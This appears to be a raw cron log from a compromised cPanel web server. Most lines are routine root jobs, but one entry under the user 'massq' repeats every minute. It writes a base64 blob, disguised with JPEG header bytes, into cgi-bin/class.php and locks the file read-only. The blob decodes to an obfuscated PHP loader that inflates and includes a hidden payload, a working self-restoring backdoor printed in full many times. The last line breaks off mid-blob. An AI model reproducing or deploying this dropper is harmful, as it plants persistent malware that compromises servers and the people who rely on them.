Sep  8 11:51:01 server CROND[32636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:51:01 server CROND[32637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:52:01 server CROND[569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:52:01 server CROND[570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:52:01 server CROND[571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:53:01 server CROND[1129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:53:01 server CROND[1132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:53:01 server CROND[1131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:54:01 server CROND[1572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:54:01 server CROND[1574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:54:01 server CROND[1573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:55:01 server CROND[2006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:55:01 server CROND[2007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:55:01 server CROND[2010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:55:01 server CROND[2012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:55:01 server CROND[2011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:55:01 server CROND[2014]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:55:01 server CROND[2015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:56:01 server CROND[2899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:56:01 server CROND[2900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:56:01 server CROND[2901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:57:01 server CROND[3280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:57:01 server CROND[3281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:57:01 server CROND[3282]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 11:57:01 server CROND[3283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:58:01 server CROND[3661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:58:01 server CROND[3662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:58:01 server CROND[3663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:59:01 server CROND[4144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:59:01 server CROND[4145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:59:01 server CROND[4146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:00:01 server CROND[4544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:00:01 server CROND[4547]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  8 12:00:01 server CROND[4552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:00:01 server CROND[4555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:00:01 server CROND[4549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 12:00:01 server CROND[4548]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 12:00:01 server CROND[4551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:00:01 server CROND[4558]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 12:00:01 server CROND[4553]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:00:01 server CROND[4554]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 12:00:01 server CROND[4550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:01:02 server CROND[5507]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 12:01:02 server CROND[5508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:01:02 server CROND[5509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:01:02 server CROND[5510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:01:02 server run-parts(/etc/cron.hourly)[5507]: starting 0anacron
Sep  8 12:01:02 server run-parts(/etc/cron.hourly)[5530]: finished 0anacron
Sep  8 12:02:01 server CROND[5911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:02:01 server CROND[5910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:02:01 server CROND[5912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:03:01 server CROND[6316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:03:01 server CROND[6317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 12:03:01 server CROND[6318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1h